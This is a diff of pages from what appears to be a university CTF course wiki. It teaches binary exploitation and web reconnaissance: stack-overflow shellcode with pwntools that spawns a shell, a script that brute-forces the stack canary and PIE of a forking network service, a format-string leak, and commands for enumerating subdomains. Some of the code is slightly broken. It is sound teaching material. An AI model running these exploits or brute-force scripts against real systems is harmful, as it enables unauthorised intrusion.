I promise you can trust me but you should never ever run shellcode without knowing what it does. Pwntools is safe and has almost all the shellcode you will ever need.

+

The reason shellcode is successful is that Von Neumann architecture (the architecture used in most computers today) does not differentiate between data and instructions - it doesn't matter where or what you tell it to run, it will attempt to run it. Therefore, even though our input is data, the computer doesn't know that - and we can use that to our advantage.

+

Shellcodeshellcode.zip - 3KB

+

Disabling ASLR

+

ASLR is a security technique, and while it is not specifically designed to combat shellcode, it involves randomising certain aspects of memory (we will talk about it in much more detail later). This randomisation can make shellcode exploits like the one we're about to do more less reliable, so we'll be disabling it for now using this.

+
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
+
+

Again, you should never run commands if you don't know what they do

+

Finding the Buffer in Memory

+

Let's debug vuln() using radare2 and work out where in memory the buffer starts; this is where we want to point the return pointer to.

+
$ r2 -d -A vuln
+[0xf7fd40b0]> s sym.unsafe ; pdf[...]; var int32_t var_134h @ ebp-0x134[...]
+
+

This value that gets printed out is a local variable - due to its size, it's fairly likely to be the buffer. Let's set a breakpoint just after gets() and find the exact address.

+
[0x08049172]> dcOverflow me<<Found me>>                    <== This was my inputhit breakpoint at: 80491a8[0x080491a8]> px @ ebp - 0x134- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF0xffffcfb4  3c3c 466f 756e 6420 6d65 3e3e 00d1 fcf7  <<Found me>>....
+[...]
+
+

It appears to be at 0xffffcfd4; if we run the binary multiple times, it should remain where it is (if it doesn't, make sure ASLR is disabled!).

+

Finding the Padding

+

Now we need to calculate the padding until the return pointer. We'll use the De Bruijn sequence as explained in the previous blog post.

+
$ ragg2 -P 400 -r<copy this>
+$ r2 -d -A vuln[0xf7fd40b0]> dcOverflow me<<paste here>>[0x73424172]> wopO `dr eip`312
+
+

The padding is 312 bytes.

+

Putting it all together

+

In order for the shellcode to be correct, we're going to set context.binary to our binary; this grabs stuff like the arch, OS and bits and enables pwntools to provide us with working shellcode.

+
from pwn import *
+context.binary = ELF('./vuln')
+p = process()
+
+

We can use just process() because once context.binary is set it is assumed to use that process

+

Now we can use pwntools' awesome shellcode functionality to make it incredibly simple.

+
payload = asm(shellcraft.sh())          # The shellcode
+payload = payload.ljust(312, b'A')      # Padding
+payload += p32(0xffffcfb4)              # Address of the Shellcode
+
+

Yup, that's it. Now let's send it off and use p.interactive(), which enables us to communicate to the shell.

+
log.info(p.clean())
+p.sendline(payload)
+p.interactive()
+
+

If you're getting an EOFError, print out the shellcode and try to find it in memory - the stack address may be wrong

+
$ python3 exploit.py
+[*] 'vuln'
+    Arch:     i386-32-little
+    RELRO:    Partial RELRO
+    Stack:    No canary found
+    NX:       NX disabled
+    PIE:      No PIE (0x8048000)
+    RWX:      Has RWX segments
+[+] Starting local process 'vuln': pid 3606
+[*] Overflow me
+[*] Switching to interactive mode
+$ whoami
+ironstone
+$ ls
+exploit.py  source.c  vuln
+
+

And it works! Awesome.

+

Final Exploit

+
from pwn import *
+context.binary = ELF('./vuln')
+p = process()
+payload = asm(shellcraft.sh())
+# The shellcodepayload = payload.ljust(312, b'A')
+# Paddingpayload += p32(0xffffcfb4)
+# Address of the Shellcode
+log.info(p.clean())
+p.sendline(payload)
+p.interactive()
+
+

Find Shellcode Online

+

There are some online resources for shellcode. Sometimes the program runs input check that some characters are filtered. Using online database or pwntool's shellcode generator are both fine.

+

Shellcode database: http://shell-storm.org/shellcode/

+

According to the different CPU architecture and operating system, you may need different shellcode.

+

Exercise

+

(5 pt) Smash the stack

+

After three days of staying up to finish deadline, you feel extremely tired. Wanna to buy some coffee, you step out room and walking to the store. Tired, exhausted, and thinking about the difficult challenge, without seeing the truck that rushing directly to you...

+

When light appears, a goddess whos so beautiful standing in front of you, said, "Now, you are selected to re-born in the fantasy world."

+

"Help us to fight dragon the world destroyer, and save this world plz!" Said the goddess. "You have ONE chance to make a vow, and I'll make it true."

+

"By the way, if you put something that I can't handle, I'll give you a flag!"

+

nc ali.infury.org 10001

+

goddess

+

goddess.c

+

Hack the goddess and find flag. Flag format: flag{***}

+

(5 pt) Check and overlap

+

Because of the goddess got stuck when processing, so you finally didn't get any special power. After fighting for days, you reach the "end castle" and ready to terminate "dragon the destroyer" by yourself.

+

"You, a mere human. How dare you to challenge me!" Said the dragon, who has indestructible scale and powerful skin that resists to all magic.

+

"Only using the ancient legendary weapons that you can hurt me. However, those powers are unreachable and you can't assign value to them."

+

"Now, what's your last word?"

+

nc ali.infury.org 10002

+

dragon

+

dragon.c

+

Fight the dragon and find flag. Flag format: flag{***}

+

(BONUS 5 pt) Perfectly secure from shellcode

+

The dragon fell down into dust. You become the hero of the fantasy world. However, you still want to return home.

+

"Only the God can leave this world." Said the wiser, "that dragon is the most powerful creature and the most close to the God. Maybe... Only maybe... There is only one way."

+

"Grab the dragon's egg, use it to caste the most powerful wish magic. You have a chance to say something to the world tree."

+

"However, you may only use characters no smaller than 32, no larger than 126 in ASCII order. May the bless be with you!"

+

The end of journey is arriving.

+

You are filled with determination.

+

nc ali.infury.org 10003

+

world

+

world.c

+

Become the God and find the flag. Flag format: flag{***}

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CS315/2021/Week 3/index.html b/CS315/2021/Week 3/index.html new file mode 100644 index 000000000..8a0aef0ea --- /dev/null +++ b/CS315/2021/Week 3/index.html @@ -0,0 +1,9179 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Week3 PWN: Advanced Buffer Overflow - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

Week3 PWN: Advanced Buffer Overflow

+

According to the @CTF101: https://ctf101.org/

+

Binary Exploitation

+

Binaries, or executables, are machine code for a computer to execute. For the most part, the binaries that you will face in CTFs are Linux ELF files or the occasional windows executable. Binary Exploitation is a broad topic within Cyber Security which really comes down to finding a vulnerability in the program and exploiting it to gain control of a shell or modifying the program's functions.

+

Common topics addressed by Binary Exploitation or 'pwn' challenges include:

+
    +
  • Registers
  • +
  • The Stack
  • +
  • Calling Conventions
  • +
  • Global Offset Table (GOT)
  • +
  • Buffers
  • +
  • Buffer Overflow
  • +
  • Return Oriented Programming (ROP)
  • +
  • Binary Security
  • +
  • No eXecute (NX)
  • +
  • Address Space Layout Randomization (ASLR)
  • +
  • Stack Canaries
  • +
  • Relocation Read-Only (RELRO)
  • +
  • The Heap
  • +
  • Heap Exploitation
  • +
  • Format String Vulnerability
  • +
+

The Stack

+

In computer architecture, the stack is a hardware manifestation of the stack data structure (a Last In, First Out queue).

+

In x86, the stack is simply an area in RAM that was chosen to be the stack - there is no special hardware to store stack contents. The esp/rsp register holds the address in memory where the bottom of the stack resides. When something is pushed to the stack, esp decrements by 4 (or 8 on 64-bit x86), and the value that was pushed is stored at that location in memory. Likewise, when a pop instruction is executed, the value at esp is retrieved (i.e. esp is dereferenced), and esp is then incremented by 4 (or 8).

+

N.B. The stack "grows" down to lower memory addresses!

+

Conventionally, ebp/rbp contains the address of the top of the current stack frame, and so sometimes local variables are referenced as an offset relative to ebp rather than an offset to esp. A stack frame is essentially just the space used on the stack by a given function.

+

Uses

+

The stack is primarily used for a few things:

+
    +
  • Storing function arguments
  • +
  • Storing local variables
  • +
  • Storing processor state between function calls
  • +
+

Example

+

Let's see what the stack looks like right after say_hi has been called in this 32-bit x86 C program:

+
#include <stdio.h>
+
+void say_hi(const char * name) {
+    printf("Hello %s!\n", name);
+}
+
+int main(int argc, char ** argv) {
+    char * name;
+    if (argc != 2) {
+        return 1;
+    }
+    name = argv[1];
+    say_hi(name);
+    return 0;
+}
+
+

And the relevant assembly:

+
0804840b <say_hi>:
+ 804840b:   55                      push   ebp
+ 804840c:   89 e5                   mov    ebp,esp
+ 804840e:   83 ec 08                sub    esp,0x8
+ 8048411:   83 ec 08                sub    esp,0x8
+ 8048414:   ff 75 08                push   DWORD PTR [ebp+0x8]
+ 8048417:   68 f0 84 04 08          push   0x80484f0
+ 804841c:   e8 bf fe ff ff          call   80482e0 <printf@plt>
+ 8048421:   83 c4 10                add    esp,0x10
+ 8048424:   90                      nop
+ 8048425:   c9                      leave
+ 8048426:   c3                      ret
+
+08048427 <main>:
+ 8048427:   8d 4c 24 04             lea    ecx,[esp+0x4]
+ 804842b:   83 e4 f0                and    esp,0xfffffff0
+ 804842e:   ff 71 fc                push   DWORD PTR [ecx-0x4]
+ 8048431:   55                      push   ebp
+ 8048432:   89 e5                   mov    ebp,esp
+ 8048434:   51                      push   ecx
+ 8048435:   83 ec 14                sub    esp,0x14
+ 8048438:   89 c8                   mov    eax,ecx
+ 804843a:   83 38 02                cmp    DWORD PTR [eax],0x2
+ 804843d:   74 07                   je     8048446 <main+0x1f>
+ 804843f:   b8 01 00 00 00          mov    eax,0x1
+ 8048444:   eb 1c                   jmp    8048462 <main+0x3b>
+ 8048446:   8b 40 04                mov    eax,DWORD PTR [eax+0x4]
+ 8048449:   8b 40 04                mov    eax,DWORD PTR [eax+0x4]
+ 804844c:   89 45 f4                mov    DWORD PTR [ebp-0xc],eax
+ 804844f:   83 ec 0c                sub    esp,0xc
+ 8048452:   ff 75 f4                push   DWORD PTR [ebp-0xc]
+ 8048455:   e8 b1 ff ff ff          call   804840b <say_hi>
+ 804845a:   83 c4 10                add    esp,0x10
+ 804845d:   b8 00 00 00 00          mov    eax,0x0
+ 8048462:   8b 4d fc                mov    ecx,DWORD PTR [ebp-0x4]
+ 8048465:   c9                      leave
+ 8048466:   8d 61 fc                lea    esp,[ecx-0x4]
+ 8048469:   c3                      ret
+
+

Skipping over the bulk of main, you'll see that at 0x8048452 main's name local is pushed to the stack because it's the first argument to say_hi. Then, a call instruction is executed. call instructions first push the current instruction pointer to the stack, then jump to their destination. So when the processor begins executing say_hi at 0x0804840b, the stack looks like this:

+
EIP = 0x0804840b (push ebp)
+ESP = 0xffff0000
+EBP = 0xffff002c
+
+        0xffff0004: 0xffffa0a0              // say_hi argument 1
+ESP ->  0xffff0000: 0x0804845a              // Return address for say_hi
+
+

The first thing say_hi does is save the current ebp so that when it returns, ebp is back where main expects it to be. The stack now looks like this:

+
EIP = 0x0804840c (mov ebp, esp)
+ESP = 0xfffefffc
+EBP = 0xffff002c
+
+        0xffff0004: 0xffffa0a0              // say_hi argument 1
+        0xffff0000: 0x0804845a              // Return address for say_hi
+ESP ->  0xfffefffc: 0xffff002c              // Saved EBP
+
+

Again, note how esp gets smaller when values are pushed to the stack.

+

Next, the current esp is saved into ebp, marking the top of the new stack frame.

+
EIP = 0x0804840e (sub esp, 0x8)
+ESP = 0xfffefffc
+EBP = 0xfffefffc
+
+            0xffff0004: 0xffffa0a0              // say_hi argument 1
+            0xffff0000: 0x0804845a              // Return address for say_hi
+ESP, EBP -> 0xfffefffc: 0xffff002c              // Saved EBP
+
+

Then, the stack is "grown" to accommodate local variables inside say_hi.

+
EIP = 0x08048414 (push [ebp + 0x8])
+ESP = 0xfffeffec
+EBP = 0xfffefffc
+
+        0xffff0004: 0xffffa0a0              // say_hi argument 1
+        0xffff0000: 0x0804845a              // Return address for say_hi
+EBP ->  0xfffefffc: 0xffff002c              // Saved EBP
+        0xfffefff8: UNDEFINED
+        0xfffefff4: UNDEFINED
+        0xfffefff0: UNDEFINED
+ESP ->  0xfffefffc: UNDEFINED
+
+

NOTE: stack space is not implictly cleared!

+

Now, the 2 arguments to printf are pushed in reverse order.

+
EIP = 0x0804841c (call printf@plt)
+ESP = 0xfffeffe4
+EBP = 0xfffefffc
+
+        0xffff0004: 0xffffa0a0              // say_hi argument 1
+        0xffff0000: 0x0804845a              // Return address for say_hi
+EBP ->  0xfffefffc: 0xffff002c              // Saved EBP
+        0xfffefff8: UNDEFINED
+        0xfffefff4: UNDEFINED
+        0xfffefff0: UNDEFINED
+        0xfffeffec: UNDEFINED
+        0xfffeffe8: 0xffffa0a0              // printf argument 2
+ESP ->  0xfffeffe4: 0x080484f0              // printf argument 1
+
+

Finally, printf is called, which pushes the address of the next instruction to execute.

+
EIP = 0x080482e0
+ESP = 0xfffeffe4
+EBP = 0xfffefffc
+
+        0xffff0004: 0xffffa0a0              // say_hi argument 1
+        0xffff0000: 0x0804845a              // Return address for say_hi
+EBP ->  0xfffefffc: 0xffff002c              // Saved EBP
+        0xfffefff8: UNDEFINED
+        0xfffefff4: UNDEFINED
+        0xfffefff0: UNDEFINED
+        0xfffeffec: UNDEFINED
+        0xfffeffe8: 0xffffa0a0              // printf argument 2
+        0xfffeffe4: 0x080484f0              // printf argument 1
+ESP ->  0xfffeffe0: 0x08048421              // Return address for printf
+
+

Once printf has returned, the leave instruction moves ebp into esp, and pops the saved EBP.

+
EIP = 0x08048426 (ret)
+ESP = 0xfffefffc
+EBP = 0xffff002c
+
+        0xffff0004: 0xffffa0a0              // say_hi argument 1
+ESP ->  0xffff0000: 0x0804845a              // Return address for say_hi
+
+

And finally, ret pops the saved instruction pointer into eip which causes the program to return to main with the same esp, ebp, and stack contents as when say_hi was initially called.

+
EIP = 0x0804845a (add esp, 0x10)
+ESP = 0xffff0000
+EBP = 0xffff002c
+
+ESP ->  0xffff0004: 0xffffa0a0              // say_hi argument 1
+
+

Calling Conventions

+

To be able to call functions, there needs to be an agreed-upon way to pass arguments. If a program is entirely self-contained in a binary, the compiler would be free to decide the calling convention. However in reality, shared libraries are used so that common code (e.g. libc) can be stored once and dynamically linked in to programs that need it, reducing program size.

+

In Linux binaries, there are really only two commonly used calling conventions: cdecl for 32-bit binaries, and SysV for 64-bit

+

cdecl

+

In 32-bit binaries on Linux, function arguments are passed in on the stack in reverse order. A function like this:

+
int add(int a, int b, int c) {
+    return a + b + c;
+}
+
+

would be invoked by pushing c, then b, then a.

+

SysV

+

For 64-bit binaries, function arguments are first passed in certain registers:

+
    +
  1. RDI
  2. +
  3. RSI
  4. +
  5. RDX
  6. +
  7. RCX
  8. +
  9. R8
  10. +
  11. R9
  12. +
+

then any leftover arguments are pushed onto the stack in reverse order, as in cdecl.

+

Other Conventions

+

Any method of passing arguments could be used as long as the compiler is aware of what the convention is. As a result, there have been many calling conventions in the past that aren't used frequently anymore. See Wikipedia for a comprehensive list.

+

Binary Security

+

Binary Security is using tools and methods in order to secure programs from being manipulated and exploited. This tools are not infallible, but when used together and implemented properly, they can raise the difficulty of exploitation greatly.

+

No eXecute (NX Bit)

+

The No eXecute or the NX bit (also known as Data Execution Prevention or DEP) marks certain areas of the program as not executable, meaning that stored input or data cannot be executed as code. This is significant because it prevents attackers from being able to jump to custom shellcode that they've stored on the stack or in a global variable.

+

Checking for NX

+

You can either use pwntools' checksec or rabin2.

+
$ checksec vuln
+[*] 'vuln'
+    Arch:     i386-32-little
+    RELRO:    Partial RELRO
+    Stack:    No canary found
+    NX:       NX disabled
+    PIE:      No PIE (0x8048000)
+    RWX:      Has RWX segments
+
+
$ rabin2 -I vuln
+[...]
+nx       false
+[...]
+
+

Address Space Layout Randomization (ASLR)

+

Address Space Layout Randomization (or ASLR) is the randomization of the place in memory where the program, shared libraries, the stack, and the heap are. This makes can make it harder for an attacker to exploit a service, as knowledge about where the stack, heap, or libc can't be re-used between program launches. This is a partially effective way of preventing an attacker from jumping to, for example, libc without a leak.

+

Typically, only the stack, heap, and shared libraries are ASLR enabled. It is still somewhat rare for the main program to have ASLR enabled, though it is being seen more frequently and is slowly becoming the default.

+

Stack Canaries

+

Stack Canaries are a secret value placed on the stack which changes every time the program is started. Prior to a function return, the stack canary is checked and if it appears to be modified, the program exits immeadiately.

+

Stack Canary

+

Bypassing Stack Canaries

+

Stack Canaries seem like a clear cut way to mitigate any stack smashing as it is fairly impossible to just guess a random 64-bit value. However, leaking the address and bruteforcing the canary are two methods which would allow us to get through the canary check.

+
Stack Canary Leaking
+

If we can read the data in the stack canary, we can send it back to the program later because the canary stays the same throughout execution. However Linux makes this slightly tricky by making the first byte of the stack canary a NULL, meaning that string functions will stop when they hit it. A method around this would be to partially overwrite and then put the NULL back or find a way to leak bytes at an arbitrary stack offset.

+

A few situations where you might be able to leak a canary:

+
    +
  • User-controlled format string
  • +
  • User-controlled length of an output
  • +
  • “Hey, can you send me 1000000 bytes? thx!”
  • +
+
Bruteforcing a Stack Canary
+

The canary is determined when the program starts up for the first time which means that if the program forks, it keeps the same stack cookie in the child process. This means that if the input that can overwrite the canary is sent to the child, we can use whether it crashes as an oracle and brute-force 1 byte at a time!

+

This method can be used on fork-and-accept servers where connections are spun off to child processes, but only under certain conditions such as when the input accepted by the program does not append a NULL byte (read or recv).

+ + + + + + + + + + + + + + + + + +
Buffer (N Bytes)?? ?? ?? ?? ?? ?? ?? ??RBPRIP
+

Fill the buffer N Bytes + 0x00 results in no crash

+ + + + + + + + + + + + + + + + + +
Buffer (N Bytes)00 ?? ?? ?? ?? ?? ?? ??RBPRIP
+

Fill the buffer N Bytes + 0x00 + 0x00 results in a crash

+

N Bytes + 0x00 + 0x01 results in a crash

+

N Bytes + 0x00 + 0x02 results in a crash

+

...

+

N Bytes + 0x00 + 0x51 results in no crash

+ + + + + + + + + + + + + + + + + +
Buffer (N Bytes)00 51 ?? ?? ?? ?? ?? ??RBPRIP
+

Repeat this bruteforcing process for 6 more bytes...

+ + + + + + + + + + + + + + + + + +
Buffer (N Bytes)00 51 FE 0A 31 D2 7B 3CRBPRIP
+

Now that we have the stack cookie, we can overwrite the RIP register and take control of the program!

+

Relocation Read-Only (RELRO)

+

Relocation Read-Only (or RELRO) is a security measure which makes some binary sections read-only.

+

There are two RELRO "modes": partial and full.

+

Partial RELRO

+

Partial RELRO is the default setting in GCC, and nearly all binaries you will see have at least partial RELRO.

+

From an attackers point-of-view, partial RELRO makes almost no difference, other than it forces the GOT to come before the BSS in memory, eliminating the risk of a buffer overflows on a global variable overwriting GOT entries.

+

Full RELRO

+

Full RELRO makes the entire GOT read-only which removes the ability to perform a "GOT overwrite" attack, where the GOT address of a function is overwritten with the location of another function or a ROP gadget an attacker wants to run.

+

Full RELRO is not a default compiler setting as it can greatly increase program startup time since all symbols must be resolved before the program is started. In large programs with thousands of symbols that need to be linked, this could cause a noticable delay in startup time.

+

Bypassing Canary & PIE

+

If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.

+

img

+

Canary

+

The best way to bypass a simple canary is if the binary is a program forking child processes every time you establish a new connection with it (network service), because every time you connect to it the same canary will be used.

+

Then, the best way to bypass the canary is just to brute-force it char by char, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function brute-forces an 8 Bytes canary (x64) and distinguish between a correct guessed byte and a bad byte just checking if a response is sent back by the server (another way in other situation could be using a try/except):

+
from pwn import *
+
+def connect():
+    r = remote("localhost", 8788)
+
+def get_bf(base):
+    canary = ""
+    guess = 0x0
+    base += canary
+
+    while len(canary) < 8:
+        while guess != 0xff:
+            r = connect()
+
+            r.recvuntil("Username: ")
+            r.send(base + chr(guess))
+
+            if "SOME OUTPUT" in r.clean():
+                print "Guessed correct byte:", format(guess, '02x')
+                canary += chr(guess)
+                base += chr(guess)
+                guess = 0x0
+                r.close()
+                break
+            else:
+                guess += 1
+                r.close()
+
+    print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
+    return base
+
+canary_offset = 1176
+base = "A" * canary_offset
+print("Brute-Forcing canary")
+base_canary = get_bf(base) #Get yunk data + canary
+CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
+
+

PIE

+

In order to bypass the PIE you need to leak some address. And if the binary is not leaking any addresses the best to do it is to brute-force the RBP and RIP saved in the stack in the vulnerable function. For example, if a binary is protected using both a canary and PIE, you can start brute-forcing the canary, then the next 8 Bytes (x64) will be the saved RBP and the next 8 Bytes will be the saved RIP.

+

To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The same function as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP:

+
print("Brute-Forcing RBP")
+base_canary_rbp = get_bf(base_canary)
+RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
+print("Brute-Forcing RIP")
+base_canary_rbp_rip = get_bf(base_canary_rbp)
+RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
+
+

Get base address

+

The last thing you need to defeat the PIE is to calculate useful addresses from the leaked addresses: the RBP and the RIP.

+

From the RBP you can calculate where are you writing your shell in the stack. This can be very useful to know where are you going to write the string "/bin/sh\x00" inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a breakpoint after leaking the RBP an check where is your shellcode located, then, you can calculate the distance between the shellcode and the RBP:

+
INI_SHELLCODE = RBP - 1152
+
+

From the RIP you can calculate the base address of the PIE binary which is what you are going to need to create a valid ROP chain. To calculate the base address just do objdump -d vunbinary and check the disassemble latest addresses:

+

img

+

In that example you can see that only 1 Byte and a half is needed to locate all the code, then, the base address in this situation will be the leaked RIP but finishing on "000". For example if you leaked 0x562002970ecf the base address is 0x562002970**000

+
elf.address = RIP - (RIP & 0xfff)
+
+

Format String Vulnerability

+

A format string vulnerability is a bug where user input is passed as the format argument to printf, scanf, or another function in that family.

+

The format argument has many different specifies which could allow an attacker to leak data if they control the format argument to printf. Since printf and similar are variadic functions, they will continue popping data off of the stack according to the format.

+

For example, if we can make the format argument "%x.%x.%x.%x", printf will pop off four stack values and print them in hexadecimal, potentially leaking sensitive information.

+

printf can also index to an arbitrary "argument" with the following syntax: "%n$x" (where n is the decimal index of the argument you want).

+

While these bugs are powerful, they're very rare nowadays, as all modern compilers warn when printf is called with a non-constant string.

+

Example

+
#include <stdio.h>
+#include <unistd.h>
+
+int main() {
+    int secret_num = 0x8badf00d;
+
+    char name[64] = {0};
+    read(0, name, 64);
+    printf("Hello ");
+    printf(name);
+    printf("! You'll never get my secret!\n");
+    return 0;
+}
+
+

Due to how GCC decided to lay out the stack, secret_num is actually at a lower address on the stack than name, so we only have to go to the 7th "argument" in printf to leak the secret:

+
$ ./fmt_string
+%7$llx
+Hello 8badf00d3ea43eef
+! You'll never get my secret!
+
+

Exercise

+

(5 pt) "Gimme the report." The Boss said

+

CS315 course is open, and this year we added some CTF challenges to the lab tutorial. After 3 weeks of teaching, our professor wants some feedback from students.

+

"Design a service, please. Gather some feedback and report from students of CS315."

+

"Sure." Answered in no time, but I got super nervous because of me, as a computer science graduate, don't know how to programming.

+

meme

+

By the way, I already got some report said that why this course so easy, please tell something hard. Fine, I'll just write my program that reads from user input, but stores nothing.

+

No store, no vulnerability.

+

Yeah, I'm going to save my job!

+

my_super_secret_report_service

+

my_super_secret_report_service.c

+

nc ali.infury.org 10004

+

(5 pt) My Last Chance

+

It's super hard to convince my Boss that report system is just broken temporarily. Now I'm going to learn programming and security very hard to save my job.

+

---- 2 DAYS LATER ----

+

Totally didn't learn.

+

"Some students want to enroll this course, please make something to collect enroll."

+

"But, but this course is full already..."

+

"CS315 is hard, someone gonna to quit. So, in case anyone want to enroll, we need to handle this." The Boss looked at me, "can't you programming?"

+

"Yep! Yeah, seriously I can programming very well!"

+

I need to prepare my CV now.

+

awesome_enroll_service

+

awesome_enroll_service.c

+

nc ali.infury.org 10005

+

Please use netcat to connect and solve challenges! And don't ask why there isn't a flag.txt in source code...

+

(BONUS 5 pt) Me, worked in maid cafes

+

Yet another programming order from cafes.

+

So called maid cafes, their Boss wants me to design a service to collect costumers' requirements.

+

The Boss promised me if I can finish such a program, I can come to the cafes free forever. So stuck in the flavor of coffee (not the maid I promise) that I swear gonna to get this work done.

+

Very strange I don't understand the details of this program (like how big, how far, which requirements are they?), and why some CS315 students are pentesting my program.

+

Luckily I learned about some security parameters already, so I simply turned them on.

+

maid

+

ld-linux-x86-64.so.2

+

libc.so.6

+

This is a ROP challenge and you may find it's difficult. But success solvers will win a badge.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CS315/2021/Week 4/index.html b/CS315/2021/Week 4/index.html new file mode 100644 index 000000000..99f4d5d89 --- /dev/null +++ b/CS315/2021/Week 4/index.html @@ -0,0 +1,9507 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Week4 WEB: Information Discovery - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Week4 WEB: Information Discovery

+

According to @d00mfist: https://d00mfist.gitbooks.io/ctf/content/

+

Information Discovery

+

So once you have decided on a target you want to start your recon-process.

+

The recon-phase is usually divided up into two phases.

+
    +
  1. Passive information gathering / OSINT This is when you check out stuff like:
  2. +
  3. Web information
  4. +
  5. Email Harvesting
  6. +
  7. Whois enumeration
  8. +
  9. Active information gathering
  10. +
+

This is when you start scanning the target with your different tools.

+

Passive information gathering

+

It is passive in the meaning that it doesn't directly send packets to the service. But in any other sense of the word there is nothing passive about this phase.

+

Visit the website

+

Okay, I guess this actually sends packets to the target, but whatever. Visit the page, look around, read about the target. What do they do?

+

Whois

+

Find out who is behind the website.

+

Resolve the DNS

+
host website.com
+nslookup website.com
+
+

The the IP address and check it with whois

+
whois 192.168.1.101
+
+

Netcraft

+

Most of the info found on netcraft is not unique. It is basic whois info. But one thing is really good, it lists the different IP-addresses the page has had over the years. This can be a good way to bypass cloudflare and other services that hide the real IP. Using netcraft we can find the IP that was in use before they implemented cloudflare.

+

Another detail that is good to know is the hosting-company or domain-provider. Those details can be used if we want to try some social-engineering or spear-phishing attack.

+

Netcraft

+

Find Subdomains

+

Finding subdomains is fundamental. The more subdomains you find, the bigger attack surface you have. Which means bigger possibility of success.

+

For now this seems to be a very comprehensive list of tools to find subdomains. https://blog.bugcrowd.com/discovering-subdomains

+

DNS Basics

+

This is the best article I have found about how the DNS-system works. Form the highest to the lowest level.

+

An introduction to dns-terminology components and concepts

+

Before we begin to look at the specific techniques that exists to find subdomains, lets try to understand what subdomains are and how they work.

+

A - records

+

A stands for address.

+

The A record maps a name to one or more IP addresses, when the IP are known and stable. So that would be 123.244.223.222 => example.com

+

AAAA - points to a IPv6 Record

+

CNAME

+

The CNAME record connects a name to another name. An example of that would be:

+
www.example.com,CNAME,www.example.com.cdn.cloudflare.net.
+
+

Another example is. If you have the domains mail.example.com and webmail.example.com. You can have webmail.example.com point to mail.example.com. So anyone visiting webmail.example.com will see the same thing as mail.example.com. It will NOT redirect you. Just show you the same content.

+

Another typical usage of CNAME is to link www.example.com to example.com

+

CNAME is quite convenient. Because if you change the A-record. The IP-address, you don't need to change the other subdomains, like ftp.example.com or www.example.com. Since they both point to example.com, which is a A-record and points directly to the IP.

+

Another note. If foo.example.com points to bar.example.com, that mean that bar.example.com is the CNAME (Canonical/real/actual Name) of foo.example.com.

+

Alias

+

Kind of like CNAME in that it points to another name, not an IP.

+

MX - Mail exchange

+

https://en.wikipedia.org/wiki/MX_record

+

Find Subdomains

+

Finding subdomains is fundamental. The more subdomains you find, the bigger attack surface you have. Which means bigger possibility of success.

+

For now this seems to be a very comprehensive list of tools to find subdomains. https://blog.bugcrowd.com/discovering-subdomains

+

Some tools find some stuff, other tools other stuff. So your best bet is to use a few of them together. Don't forget to brute-force recursively!

+

recon-ng

+

In order to find subdomains we can use the recon-ng framework. It has the same basic structure as metasploit. You can learn more about this tool in the tools-section.

+
recon-ng
+
+use use recon/domains-hosts/
+
+# This will give you a vast amount of alternatives.
+
+show options
+
+set source cnn.com
+
+

All these subdomains will be saved in hosts, which you can access though: show hosts

+

If some of these subdomains are not given IPs automatically you can just run

+
use recon/hosts-hosts/resolve
+run
+
+

And it will resolve all the hosts in the hosts-file.

+

Google Dorks

+

Using google we can also find subdomains.

+

This will only give us the subdomains of a site.

+
site:msn.com -site:www.msn.com
+site:*.nextcloud.com
+
+

To exclude a specific subdomain you can do this:

+
site:*.nextcloud.com -site:help.nextcloud.com
+
+

subbrute.py

+

The basic command is like this

+
./subbrute.py -p cnn.com
+
+

https://github.com/TheRook/subbrute

+

Knock

+

I haven't tested this yet. https://github.com/guelfoweb/knock

+

Being smart

+

You also have to look at what kind of system the target has. Some web-apps give their clients their own subdomains. Like github.

+

Check out the homepage Often companies brag about their clients. You can use this to guess the subdomains of some clients.

+

Reverse DNS-lookup

+

If you manage to figure out the IP range that the target owns (see section about nmap below). You can see which machines are online. And then you can run a script to find out the domain-addresses of those machines. That way you might find something new.

+

The text-file onlyIps.txt is a textfile with one IP-address on each line.

+
#!/bin/bash
+
+while read p; do
+  echo $p;
+  host  $p
+done <onlyIps.txt
+
+

Here are some more tools that can do reverse lookup http://www.cyberciti.biz/faq/how-to-test-or-check-reverse-dns/

+

Online tools

+

DNSDumpster

+

https://dnsdumpster.com/

+

Pentest-tools

+

https://pentest-tools.com/information-gathering/find-subdomains-of-domain

+

Intodns

+

http://www.intodns.com/

+

DNSStuff

+

This tool doesn't enumerate subdomains per se. But it hands of a lot of information about domains. http://www.dnsstuff.com/

+

Bypassing CloudFlare

+

https://www.ericzhang.me/resolve-cloudflare-ip-leakage/

+

This tool can be used to find old IPs. It could mean that the http://toolbar.netcraft.com/site_report?url=lyst.com

+

Brute force dictionaries

+

If you try to brute force the domains it is a good idea to have a good dictionary. That can be found here:

+

Bitquark https://github.com/bitquark/dnspop

+

SecList https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS

+

DNS Zone Transfer Attack
